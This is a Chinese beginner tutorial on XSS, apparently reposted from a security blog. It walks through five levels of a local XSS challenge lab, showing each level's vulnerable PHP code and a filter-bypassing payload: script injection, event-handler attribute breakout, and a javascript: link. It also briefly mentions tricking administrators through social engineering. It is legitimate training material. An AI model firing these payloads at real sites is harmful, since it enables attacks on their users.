07V8第24篇技术分享|简单代码审计带你基础入门XSS
Posted 07v8论安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了07V8第24篇技术分享|简单代码审计带你基础入门XSS相关的知识,希望对你有一定的参考价值。
欢迎关注:07v8论安全 技术干货等你来
这是07v8的第 24 篇技术文章 希望对您有用
简单代码审计带你基础入门XSS(一)
作者:浅安
前言:
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
种类:
XSS攻击分成两类
1、一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句。
2、另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。
如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
XSS分为:存储型和反射型
存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中。
用户访问该页面的时候触发代码执行。
这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS 但是也还是包括在存储型XSS内)
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容) 一般容易出现在搜索页面。
环境搭建:
1、phpstudy(下载最新版本)
下载连接:
http://www.phpstudy.net/phpstudy/PhpStudySetup2018.zip
根目录是:phpStudy\PHPTutorial\WWW
2、XSS闯关小游戏
右击查看下源代码,这里有段javascript代码是直接转到第二关的
我们是为了过关但是,当然我们的目的是把让它弹框。
查看下源码,只有一段简单的php代码:
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2>欢迎用户".$str."</h2>";
?>
注:$str = $_GET["name"];
变量$str直接接受get过来的name值,直接echo出来,并没有做任何过滤
可以使用简单的payload:
http://localhost/xss/level1.php?name=test<script>alert(/QIANAN/)</script>
第一关很简单。没有做任何过滤。直接过了。
第二关:
http://localhost/xss/level2.php?keyword=test
这里是个搜索框的,有一个按钮,第一次加个简单的payload
没有任何效果。查看下源代码。
这里的的xss payload 直接在input便签中当成一个value值输出了
查看源码,这里比第一关多了一个表单。Keyword Get过来的值赋给变量str。
然后在表单中输入。
只要闭合了input在输入payload。
如下:
http://localhost/xss/level2.php?keyword=test"><script>alert(/QIANAN/)</script>
第二关通过成功。只是比第一关多了一个表单。
第三关:
http://localhost/xss/level3.php?writing=wait
还是简单的测试下<script>alert(/QIANAN/)</script>,右击查看网页源代码发现,跟上一关是一样的。
但是这个把<>转为html实体编码了。
注:
这里用了htmlspecialchars()函数。
前面说了这个函数把<>HTML实体编码。使得js弹框语句无法闭合
可以使用鼠标移动事件payload:
localhost/xss/level3.php?keyword=QIANAN!'onmouseover%3D'alert(1)'&submit=搜索
鼠标移动到搜索框QIANAN!处。
触发XSS
第四关:
http://localhost/xss/level4.php?keyword=try harder!
查看源码:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
注:这里使用了HTML实体编码htmlspecialchars()函数,又使用了str_replace()函数替换<>为空重新赋值给另一个变量
这里可以使用oninput事件:
payload:" oninput=alert`xss` // "
注:oninput 事件在用户输入时触发,所以在搜索框随意输入即可触发XSS!~
之前在网上看一个payload是:
http://localhost/xss/level4.php?keyword=1%22%20onfocus=alert(1)%20autofocus=%22&submit=%E6%90%9C%E7%B4%A2
注:onfocus 事件在对象获得焦点时发生
第五关:
http://localhost/xss/level5.php?keyword=find a way out!
第五关的源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
注:这里多了一个strtolower()函数,此函数把所有的字符转换成小写。
使用str_replace()函数匹配字符<script替换成<scr_ipt赋给$str2,又使用str_replace()函数匹配on替换成o_n赋值给$str3 最后HTML实体化输出
测试payload:<img scr=x onerror=alert(1)>
能插入图片,不能弹框。
前面代码替换on 成o_n 右击查看网页源代码。如图:
这里可以使用超链接:
Payload: "><a href="javascript:alert(1)">qianan</a>
点击qianan连接 触发XSS
未完待续
07V8 衙内
此文章将分为四篇
需要的小伙伴可以收藏起来
希望大家能提升自己 有所收获!
同时感谢大家的阅读 以及对07V8的支持 请继续关注!
更多干货 敬请关注
以上是关于07V8第24篇技术分享|简单代码审计带你基础入门XSS的主要内容,如果未能解决你的问题,请参考以下文章